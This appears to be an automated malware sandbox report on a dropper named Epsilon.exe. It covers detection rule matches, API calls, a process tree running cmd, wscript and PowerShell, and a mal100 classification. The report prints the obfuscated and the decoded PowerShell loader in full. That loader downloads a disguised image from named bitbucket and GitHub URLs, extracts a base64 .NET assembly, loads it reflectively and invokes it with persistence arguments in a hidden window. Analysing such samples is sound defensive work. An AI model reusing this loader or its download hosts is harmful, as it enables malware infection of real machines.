Source: Process Memory Space: powershell.exe PID: 7504, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 7660, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe	COM Object queried: Windows Script Host Network Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{093FF999-1EA0-4079-9525-9614C3504B74}			Jump to behavior
Source: C:\Windows\System32\wscript.exe	COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}			Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$dosigo = 'WwBO$GU$d$$u$FM$ZQBy$HY$aQBj$GU$U$Bv$Gk$bgB0$E0$YQBu$GE$ZwBl$HI$XQ$6$Do$UwBl$GM$dQBy$Gk$d$B5$F$$cgBv$HQ$bwBj$G8$b$$g$D0$I$Bb$E4$ZQB0$C4$UwBl$GM$dQBy$Gk$d$B5$F$$cgBv$HQ$bwBj$G8$b$BU$Hk$c$Bl$F0$Og$6$FQ$b$Bz$DE$Mg$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$ZgB1$G4$YwB0$Gk$bwBu$C$$R$Bv$Hc$bgBs$G8$YQBk$EQ$YQB0$GE$RgBy$G8$bQBM$Gk$bgBr$HM$I$B7$C$$c$Bh$HI$YQBt$C$$K$Bb$HM$d$By$Gk$bgBn$Fs$XQBd$CQ$b$Bp$G4$awBz$Ck$I$$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J$B3$GU$YgBD$Gw$aQBl$G4$d$$g$D0$I$BO$GU$dw$t$E8$YgBq$GU$YwB0$C$$UwB5$HM$d$Bl$G0$LgBO$GU$d$$u$Fc$ZQBi$EM$b$Bp$GU$bgB0$Ds$I$$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J$Bz$Gg$dQBm$GY$b$Bl$GQ$T$Bp$G4$awBz$C$$PQ$g$Ec$ZQB0$C0$UgBh$G4$Z$Bv$G0$I$$t$Ek$bgBw$HU$d$BP$GI$agBl$GM$d$$g$CQ$b$Bp$G4$awBz$C$$LQBD$G8$dQBu$HQ$I$$k$Gw$aQBu$Gs$cw$u$Ew$ZQBu$Gc$d$Bo$Ds$I$$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$ZgBv$HI$ZQBh$GM$a$$g$Cg$J$Bs$Gk$bgBr$C$$aQBu$C$$J$Bz$Gg$dQBm$GY$b$Bl$GQ$T$Bp$G4$awBz$Ck$I$B7$C$$d$By$Hk$I$B7$C$$cgBl$HQ$dQBy$G4$I$$k$Hc$ZQBi$EM$b$Bp$GU$bgB0$C4$R$Bv$Hc$bgBs$G8$YQBk$EQ$YQB0$GE$K$$k$Gw$aQBu$Gs$KQ$g$H0$I$Bj$GE$d$Bj$Gg$I$B7$C$$YwBv$G4$d$Bp$G4$dQBl$C$$fQ$g$H0$Ow$g$$0$Cg$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$By$GU$d$B1$HI$bg$g$CQ$bgB1$Gw$b$$g$H0$Ow$g$$0$Cg$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$k$Gw$aQBu$Gs$cw$g$D0$I$B$$Cg$JwBo$HQ$d$Bw$HM$Og$v$C8$YgBp$HQ$YgB1$GM$awBl$HQ$LgBv$HI$Zw$v$Go$a$Bn$GY$a$Bo$Gs$agBl$GU$Z$Bl$GY$Z$Bm$C8$bQBu$GI$dgBn$Go$Z$Bn$C8$Z$Bv$Hc$bgBs$G8$YQBk$HM$LwB0$GU$cwB0$C4$agBw$Gc$Pw$1$DM$Nw$2$DE$MQ$n$Cw$I$$n$Gg$d$B0$H$$cw$6$C8$LwBy$GE$dw$u$Gc$aQB0$Gg$dQBi$HU$cwBl$HI$YwBv$G4$d$Bl$G4$d$$u$GM$bwBt$C8$ZwBt$GU$Z$B1$HM$YQ$x$DM$NQ$v$G4$YQBu$G8$LwBy$GU$ZgBz$C8$a$Bl$GE$Z$Bz$C8$bQBh$Gk$bg$v$G4$ZQB3$F8$aQBt$Gc$MQ$y$DM$LgBq$H$$Zw$n$Ck$Ow$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$k$Gk$bQBh$Gc$ZQBC$Hk$d$Bl$HM$I$$9$C$$R$Bv$Hc$bgBs$G8$YQBk$EQ$YQB0$GE$RgBy$G8$bQBM$Gk$bgBr$HM$I$$k$Gw$aQBu$Gs$cw$7$$0$Cg$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$Gk$Zg$g$Cg$J$Bp$G0$YQBn$GU$QgB5$HQ$ZQBz$C$$LQBu$GU$I$$k$G4$dQBs$Gw$KQ$g$Hs$I$$k$Gk$bQBh$Gc$ZQBU$GU$e$B0$C$$PQ$g$Fs$UwB5$HM$d$Bl$G0$LgBU$GU$e$B0$C4$RQBu$GM$bwBk$Gk$bgBn$F0$Og$6$FU$V$BG$Dg$LgBH$GU$d$BT$HQ$cgBp$G4$Zw$o$CQ$aQBt$GE$ZwBl$EI$eQB0$GU$cw$p$Ds$DQ$K$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J$Bz$HQ$YQBy$HQ$RgBs$GE$Zw$g$D0$I$$n$Dw$P$BC$EE$UwBF$DY$N$Bf$FM$V$BB$FI$V$$+$D4$Jw$7$C$$J$Bl$G4$Z$BG$Gw$YQBn$C$$PQ$g$Cc$P$$8$EI$QQBT$EU$Ng$0$F8$RQBO$EQ$Pg$+$Cc$Ow$g$CQ$cwB0$GE$cgB0$Ek$bgBk$GU$e$$g$D0$I$$k$Gk$bQBh$Gc$ZQBU$GU$e$B0$C4$SQBu$GQ$ZQB4$E8$Zg$o$CQ$cwB0$GE$cgB0$EY$b$Bh$Gc$KQ$7$C$$DQ$K$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$CQ$ZQBu$GQ$SQBu$GQ$ZQB4$C$$PQ$g$CQ$aQBt$GE$ZwBl$FQ$ZQB4$HQ$LgBJ$G4$Z$Bl$Hg$TwBm$Cg$J$Bl$G4$Z$BG$Gw$YQBn$Ck$Ow$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$Bp$GY$I$$o$CQ$cwB0$GE$cgB0$Ek$bgBk$GU$e$$g$C0$ZwBl$C$$M$$g$C0$YQBu$GQ$I$$k$GU$bgBk$Ek$bgBk$GU$e$$g$C0$ZwB0$C$$J$Bz$HQ$YQBy$HQ$SQBu$GQ$ZQB4$Ck$I$B7$C$$J$Bz$HQ$YQBy$HQ$SQBu$GQ$ZQB4$C$$Kw$9$C$$J$Bz$HQ$YQBy$HQ$RgBs$GE$Zw$u$Ew$ZQBu$Gc$d$Bo$D
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$dosigo = 'WwBO$GU$d$$u$FM$ZQBy$HY$aQBj$GU$U$Bv$Gk$bgB0$E0$YQBu$GE$ZwBl$HI$XQ$6$Do$UwBl$GM$dQBy$Gk$d$B5$F$$cgBv$HQ$bwBj$G8$b$$g$D0$I$Bb$E4$ZQB0$C4$UwBl$GM$dQBy$Gk$d$B5$F$$cgBv$HQ$bwBj$G8$b$BU$Hk$c$Bl$F0$Og$6$FQ$b$Bz$DE$Mg$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$ZgB1$G4$YwB0$Gk$bwBu$C$$R$Bv$Hc$bgBs$G8$YQBk$EQ$YQB0$GE$RgBy$G8$bQBM$Gk$bgBr$HM$I$B7$C$$c$Bh$HI$YQBt$C$$K$Bb$HM$d$By$Gk$bgBn$Fs$XQBd$CQ$b$Bp$G4$awBz$Ck$I$$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J$B3$GU$YgBD$Gw$aQBl$G4$d$$g$D0$I$BO$GU$dw$t$E8$YgBq$GU$YwB0$C$$UwB5$HM$d$Bl$G0$LgBO$GU$d$$u$Fc$ZQBi$EM$b$Bp$GU$bgB0$Ds$I$$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J$Bz$Gg$dQBm$GY$b$Bl$GQ$T$Bp$G4$awBz$C$$PQ$g$Ec$ZQB0$C0$UgBh$G4$Z$Bv$G0$I$$t$Ek$bgBw$HU$d$BP$GI$agBl$GM$d$$g$CQ$b$Bp$G4$awBz$C$$LQBD$G8$dQBu$HQ$I$$k$Gw$aQBu$Gs$cw$u$Ew$ZQBu$Gc$d$Bo$Ds$I$$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$ZgBv$HI$ZQBh$GM$a$$g$Cg$J$Bs$Gk$bgBr$C$$aQBu$C$$J$Bz$Gg$dQBm$GY$b$Bl$GQ$T$Bp$G4$awBz$Ck$I$B7$C$$d$By$Hk$I$B7$C$$cgBl$HQ$dQBy$G4$I$$k$Hc$ZQBi$EM$b$Bp$GU$bgB0$C4$R$Bv$Hc$bgBs$G8$YQBk$EQ$YQB0$GE$K$$k$Gw$aQBu$Gs$KQ$g$H0$I$Bj$GE$d$Bj$Gg$I$B7$C$$YwBv$G4$d$Bp$G4$dQBl$C$$fQ$g$H0$Ow$g$$0$Cg$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$By$GU$d$B1$HI$bg$g$CQ$bgB1$Gw$b$$g$H0$Ow$g$$0$Cg$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$k$Gw$aQBu$Gs$cw$g$D0$I$B$$Cg$JwBo$HQ$d$Bw$HM$Og$v$C8$YgBp$HQ$YgB1$GM$awBl$HQ$LgBv$HI$Zw$v$Go$a$Bn$GY$a$Bo$Gs$agBl$GU$Z$Bl$GY$Z$Bm$C8$bQBu$GI$dgBn$Go$Z$Bn$C8$Z$Bv$Hc$bgBs$G8$YQBk$HM$LwB0$GU$cwB0$C4$agBw$Gc$Pw$1$DM$Nw$2$DE$MQ$n$Cw$I$$n$Gg$d$B0$H$$cw$6$C8$LwBy$GE$dw$u$Gc$aQB0$Gg$dQBi$HU$cwBl$HI$YwBv$G4$d$Bl$G4$d$$u$GM$bwBt$C8$ZwBt$GU$Z$B1$HM$YQ$x$DM$NQ$v$G4$YQBu$G8$LwBy$GU$ZgBz$C8$a$Bl$GE$Z$Bz$C8$bQBh$Gk$bg$v$G4$ZQB3$F8$aQBt$Gc$MQ$y$DM$LgBq$H$$Zw$n$Ck$Ow$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$k$Gk$bQBh$Gc$ZQBC$Hk$d$Bl$HM$I$$9$C$$R$Bv$Hc$bgBs$G8$YQBk$EQ$YQB0$GE$RgBy$G8$bQBM$Gk$bgBr$HM$I$$k$Gw$aQBu$Gs$cw$7$$0$Cg$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$Gk$Zg$g$Cg$J$Bp$G0$YQBn$GU$QgB5$HQ$ZQBz$C$$LQBu$GU$I$$k$G4$dQBs$Gw$KQ$g$Hs$I$$k$Gk$bQBh$Gc$ZQBU$GU$e$B0$C$$PQ$g$Fs$UwB5$HM$d$Bl$G0$LgBU$GU$e$B0$C4$RQBu$GM$bwBk$Gk$bgBn$F0$Og$6$FU$V$BG$Dg$LgBH$GU$d$BT$HQ$cgBp$G4$Zw$o$CQ$aQBt$GE$ZwBl$EI$eQB0$GU$cw$p$Ds$DQ$K$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J$Bz$HQ$YQBy$HQ$RgBs$GE$Zw$g$D0$I$$n$Dw$P$BC$EE$UwBF$DY$N$Bf$FM$V$BB$FI$V$$+$D4$Jw$7$C$$J$Bl$G4$Z$BG$Gw$YQBn$C$$PQ$g$Cc$P$$8$EI$QQBT$EU$Ng$0$F8$RQBO$EQ$Pg$+$Cc$Ow$g$CQ$cwB0$GE$cgB0$Ek$bgBk$GU$e$$g$D0$I$$k$Gk$bQBh$Gc$ZQBU$GU$e$B0$C4$SQBu$GQ$ZQB4$E8$Zg$o$CQ$cwB0$GE$cgB0$EY$b$Bh$Gc$KQ$7$C$$DQ$K$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$CQ$ZQBu$GQ$SQBu$GQ$ZQB4$C$$PQ$g$CQ$aQBt$GE$ZwBl$FQ$ZQB4$HQ$LgBJ$G4$Z$Bl$Hg$TwBm$Cg$J$Bl$G4$Z$BG$Gw$YQBn$Ck$Ow$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$Bp$GY$I$$o$CQ$cwB0$GE$cgB0$Ek$bgBk$GU$e$$g$C0$ZwBl$C$$M$$g$C0$YQBu$GQ$I$$k$GU$bgBk$Ek$bgBk$GU$e$$g$C0$ZwB0$C$$J$Bz$HQ$YQBy$HQ$SQBu$GQ$ZQB4$Ck$I$B7$C$$J$Bz$HQ$YQBy$HQ$SQBu$GQ$ZQB4$C$$Kw$9$C$$J$Bz$HQ$YQBy$HQ$RgBs$GE$Zw$u$Ew$ZQBu$Gc$d$Bo$D			Jump to behavior

Source: C:\Users\user\Desktop\Epsilon.exe	Code function: 0_2_00007FF737822C54 GetVersion,GetModuleHandleW,GetProcAddress,ExitWindowsEx,CloseHandle,		0_2_00007FF737822C54
Source: C:\Users\user\Desktop\Epsilon.exe	Code function: 0_2_00007FF737821C0C GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,ExitWindowsEx,		0_2_00007FF737821C0C

Source: C:\Users\user\Desktop\Epsilon.exe	Code function: 0_2_00007FF737822DB4	0_2_00007FF737822DB4
Source: C:\Users\user\Desktop\Epsilon.exe	Code function: 0_2_00007FF737826CA4	0_2_00007FF737826CA4
Source: C:\Users\user\Desktop\Epsilon.exe	Code function: 0_2_00007FF7378266C4	0_2_00007FF7378266C4
Source: C:\Users\user\Desktop\Epsilon.exe	Code function: 0_2_00007FF7378240C4	0_2_00007FF7378240C4
Source: C:\Users\user\Desktop\Epsilon.exe	Code function: 0_2_00007FF737821D28	0_2_00007FF737821D28
Source: C:\Users\user\Desktop\Epsilon.exe	Code function: 0_2_00007FF737825D90	0_2_00007FF737825D90
Source: C:\Users\user\Desktop\Epsilon.exe	Code function: 0_2_00007FF737821C0C	0_2_00007FF737821C0C
Source: C:\Users\user\Desktop\Epsilon.exe	Code function: 0_2_00007FF737823530	0_2_00007FF737823530

Source: Epsilon.exe

Static PE information: Resource name: RT_RCDATA type: Microsoft Cabinet archive data, Windows 2000/XP setup, 6568 bytes, 1 file, at 0x2c +A "677174b841ee7.vbs", ID 1209, number 1, 1 datablock, 0x1503 compression

Source: Epsilon.exe

Static PE information: Resource name: RT_RCDATA type: GLS_BINARY_LSB_FIRST

Source: Epsilon.exe	Binary or memory string: OriginalFilename vs Epsilon.exe
Source: Epsilon.exe, 00000000.00000002.2021563395.00007FF73782E000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameWEXTRACT.EXE .MUID vs Epsilon.exe
Source: Epsilon.exe	Binary or memory string: OriginalFilenameWEXTRACT.EXE .MUID vs Epsilon.exe

Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 5356
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: Commandline size = 2010
Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 5356	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: Commandline size = 2010	Jump to behavior

Source: Process Memory Space: powershell.exe PID: 7504, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 7660, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: classification engine

Classification label: mal100.spre.expl.evad.winEXE@12/8@2/2

Source: C:\Users\user\Desktop\Epsilon.exe

Code function: 0_2_00007FF737826CA4 GetCurrentDirectoryA,SetCurrentDirectoryA,GetDiskFreeSpaceA,MulDiv,GetVolumeInformationA,memset,GetLastError,FormatMessageA,SetCurrentDirectoryA,memset,GetLastError,FormatMessageA,SetCurrentDirectoryA,

0_2_00007FF737826CA4

Source: C:\Users\user\Desktop\Epsilon.exe

Code function: 0_2_00007FF737821C0C GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,ExitWindowsEx,

0_2_00007FF737821C0C

Source: C:\Users\user\Desktop\Epsilon.exe

0_2_00007FF737826CA4

Source: C:\Users\user\Desktop\Epsilon.exe

Code function: 0_2_00007FF737822DB4 memset,memset,CreateEventA,SetEvent,CreateMutexA,GetLastError,CloseHandle,FindResourceExA,LoadResource,#17,

0_2_00007FF737822DB4

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7512:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7352:120:WilError_03

Source: C:\Users\user\Desktop\Epsilon.exe

File created: C:\Users\user\AppData\Local\Temp\IXP000.TMP

Jump to behavior

Source: C:\Users\user\Desktop\Epsilon.exe

Process created: C:\Windows\System32\cmd.exe cmd.exe /c 677174b841ee7.vbs

Source: Epsilon.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\cmd.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\Epsilon.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Epsilon.exe

ReversingLabs: Detection: 36%

Source: unknown	Process created: C:\Users\user\Desktop\Epsilon.exe "C:\Users\user\Desktop\Epsilon.exe"
Source: C:\Users\user\Desktop\Epsilon.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c 677174b841ee7.vbs
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\IXP000.TMP\677174b841ee7.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$dosigo = 'WwBO$GU$d$$u$FM$ZQBy$HY$aQBj$GU$U$Bv$Gk$bgB0$E0$YQBu$GE$ZwBl$HI$XQ$6$Do$UwBl$GM$dQBy$Gk$d$B5$F$$cgBv$HQ$bwBj$G8$b$$g$D0$I$Bb$E4$ZQB0$C4$UwBl$GM$dQBy$Gk$d$B5$F$$cgBv$HQ$bwBj$G8$b$BU$Hk$c$Bl$F0$Og$6$FQ$b$Bz$DE$Mg$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$ZgB1$G4$YwB0$Gk$bwBu$C$$R$Bv$Hc$bgBs$G8$YQBk$EQ$YQB0$GE$RgBy$G8$bQBM$Gk$bgBr$HM$I$B7$C$$c$Bh$HI$YQBt$C$$K$Bb$HM$d$By$Gk$bgBn$Fs$XQBd$CQ$b$Bp$G4$awBz$Ck$I$$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J$B3$GU$YgBD$Gw$aQBl$G4$d$$g$D0$I$BO$GU$dw$t$E8$YgBq$GU$YwB0$C$$UwB5$HM$d$Bl$G0$LgBO$GU$d$$u$Fc$ZQBi$EM$b$Bp$GU$bgB0$Ds$I$$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J$Bz$Gg$dQBm$GY$b$Bl$GQ$T$Bp$G4$awBz$C$$PQ$g$Ec$ZQB0$C0$UgBh$G4$Z$Bv$G0$I$$t$Ek$bgBw$HU$d$BP$GI$agBl$GM$d$$g$CQ$b$Bp$G4$awBz$C$$LQBD$G8$dQBu$HQ$I$$k$Gw$aQBu$Gs$cw$u$Ew$ZQBu$Gc$d$Bo$Ds$I$$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$ZgBv$HI$ZQBh$GM$a$$g$Cg$J$Bs$Gk$bgBr$C$$aQBu$C$$J$Bz$Gg$dQBm$GY$b$Bl$GQ$T$Bp$G4$awBz$Ck$I$B7$C$$d$By$Hk$I$B7$C$$cgBl$HQ$dQBy$G4$I$$k$Hc$ZQBi$EM$b$Bp$GU$bgB0$C4$R$Bv$Hc$bgBs$G8$YQBk$EQ$YQB0$GE$K$$k$Gw$aQBu$Gs$KQ$g$H0$I$Bj$GE$d$Bj$Gg$I$B7$C$$YwBv$G4$d$Bp$G4$dQBl$C$$fQ$g$H0$Ow$g$$0$Cg$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$By$GU$d$B1$HI$bg$g$CQ$bgB1$Gw$b$$g$H0$Ow$g$$0$Cg$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$k$Gw$aQBu$Gs$cw$g$D0$I$B$$Cg$JwBo$HQ$d$Bw$HM$Og$v$C8$YgBp$HQ$YgB1$GM$awBl$HQ$LgBv$HI$Zw$v$Go$a$Bn$GY$a$Bo$Gs$agBl$GU$Z$Bl$GY$Z$Bm$C8$bQBu$GI$dgBn$Go$Z$Bn$C8$Z$Bv$Hc$bgBs$G8$YQBk$HM$LwB0$GU$cwB0$C4$agBw$Gc$Pw$1$DM$Nw$2$DE$MQ$n$Cw$I$$n$Gg$d$B0$H$$cw$6$C8$LwBy$GE$dw$u$Gc$aQB0$Gg$dQBi$HU$cwBl$HI$YwBv$G4$d$Bl$G4$d$$u$GM$bwBt$C8$ZwBt$GU$Z$B1$HM$YQ$x$DM$NQ$v$G4$YQBu$G8$LwBy$GU$ZgBz$C8$a$Bl$GE$Z$Bz$C8$bQBh$Gk$bg$v$G4$ZQB3$F8$aQBt$Gc$MQ$y$DM$LgBq$H$$Zw$n$Ck$Ow$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$k$Gk$bQBh$Gc$ZQBC$Hk$d$Bl$HM$I$$9$C$$R$Bv$Hc$bgBs$G8$YQBk$EQ$YQB0$GE$RgBy$G8$bQBM$Gk$bgBr$HM$I$$k$Gw$aQBu$Gs$cw$7$$0$Cg$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$Gk$Zg$g$Cg$J$Bp$G0$YQBn$GU$QgB5$HQ$ZQBz$C$$LQBu$GU$I$$k$G4$dQBs$Gw$KQ$g$Hs$I$$k$Gk$bQBh$Gc$ZQBU$GU$e$B0$C$$PQ$g$Fs$UwB5$HM$d$Bl$G0$LgBU$GU$e$B0$C4$RQBu$GM$bwBk$Gk$bgBn$F0$Og$6$FU$V$BG$Dg$LgBH$GU$d$BT$HQ$cgBp$G4$Zw$o$CQ$aQBt$GE$ZwBl$EI$eQB0$GU$cw$p$Ds$DQ$K$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J$Bz$HQ$YQBy$HQ$RgBs$GE$Zw$g$D0$I$$n$Dw$P$BC$EE$UwBF$DY$N$Bf$FM$V$BB$FI$V$$+$D4$Jw$7$C$$J$Bl$G4$Z$BG$Gw$YQBn$C$$PQ$g$Cc$P$$8$EI$QQBT$EU$Ng$0$F8$RQBO$EQ$Pg$+$Cc$Ow$g$CQ$cwB0$GE$cgB0$Ek$bgBk$GU$e$$g$D0$I$$k$Gk$bQBh$Gc$ZQBU$GU$e$B0$C4$SQBu$GQ$ZQB4$E8$Zg$o$CQ$cwB0$GE$cgB0$EY$b$Bh$Gc$KQ$7$C$$DQ$K$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$CQ$ZQBu$GQ$SQBu$GQ$ZQB4$C$$PQ$g$CQ$aQBt$GE$ZwBl$FQ$ZQB4$HQ$LgBJ$G4$Z$Bl$Hg$TwBm$Cg$J$Bl$G4$Z$BG$Gw$YQBn$Ck$Ow$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$Bp$GY$I$$o$CQ$cwB0$GE$cgB0$Ek$bgBk$GU$e$$g$C0$ZwBl$C$$M$$g$C0$YQBu$GQ$I$$k$GU$bgBk$Ek$bgBk$GU$e$$g$C0$ZwB0$C$$J$Bz$HQ$YQBy$HQ$SQBu$GQ$ZQB4$Ck$I$B7$C$$J$Bz$HQ$YQBy$HQ$SQBu$GQ$ZQB4$C$$Kw$9$C$$J$Bz$HQ$YQBy$HQ$RgBs$GE$Zw$u$Ew$ZQBu$Gc$d$Bo$D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/jhgfhhkjeedefdf/mnbvgjdg/downloads/test.jpg?537611', 'https://raw.githubusercontent.com/gmedusa135/nano/refs/heads/main/new_img123.jpg'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $EncodedText =[Convert]::ToBase64String($Bytes); $commandBytes = [System.Convert]::FromBase64String($base64Command); $text = $EncodedText; $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $EncodedText =[Convert]::ToBase64String($Bytes); $compressedByteArray = Get-CompressedByteArray -byteArray $encText $type = $loadedAssembly.GetType('testpowershell.Hoaaaaaasdme'); $EncodedText =[Convert]::ToBase64String($Bytes); $method = $type.GetMethod('lfsgeddddddda').Invoke($null, [object[]] (' txt.hckSkpo/sdaolnwod/rwqewqfqwf/qretretr/gro.tekcubtib', '0', 'StartupName', 'Msbuild', '0'))}}" .exe -windowstyle hidden -exec
Source: C:\Users\user\Desktop\Epsilon.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c 677174b841ee7.vbs	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\IXP000.TMP\677174b841ee7.vbs"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$dosigo = 'WwBO$GU$d$$u$FM$ZQBy$HY$aQBj$GU$U$Bv$Gk$bgB0$E0$YQBu$GE$ZwBl$HI$XQ$6$Do$UwBl$GM$dQBy$Gk$d$B5$F$$cgBv$HQ$bwBj$G8$b$$g$D0$I$Bb$E4$ZQB0$C4$UwBl$GM$dQBy$Gk$d$B5$F$$cgBv$HQ$bwBj$G8$b$BU$Hk$c$Bl$F0$Og$6$FQ$b$Bz$DE$Mg$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$ZgB1$G4$YwB0$Gk$bwBu$C$$R$Bv$Hc$bgBs$G8$YQBk$EQ$YQB0$GE$RgBy$G8$bQBM$Gk$bgBr$HM$I$B7$C$$c$Bh$HI$YQBt$C$$K$Bb$HM$d$By$Gk$bgBn$Fs$XQBd$CQ$b$Bp$G4$awBz$Ck$I$$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J$B3$GU$YgBD$Gw$aQBl$G4$d$$g$D0$I$BO$GU$dw$t$E8$YgBq$GU$YwB0$C$$UwB5$HM$d$Bl$G0$LgBO$GU$d$$u$Fc$ZQBi$EM$b$Bp$GU$bgB0$Ds$I$$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J$Bz$Gg$dQBm$GY$b$Bl$GQ$T$Bp$G4$awBz$C$$PQ$g$Ec$ZQB0$C0$UgBh$G4$Z$Bv$G0$I$$t$Ek$bgBw$HU$d$BP$GI$agBl$GM$d$$g$CQ$b$Bp$G4$awBz$C$$LQBD$G8$dQBu$HQ$I$$k$Gw$aQBu$Gs$cw$u$Ew$ZQBu$Gc$d$Bo$Ds$I$$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$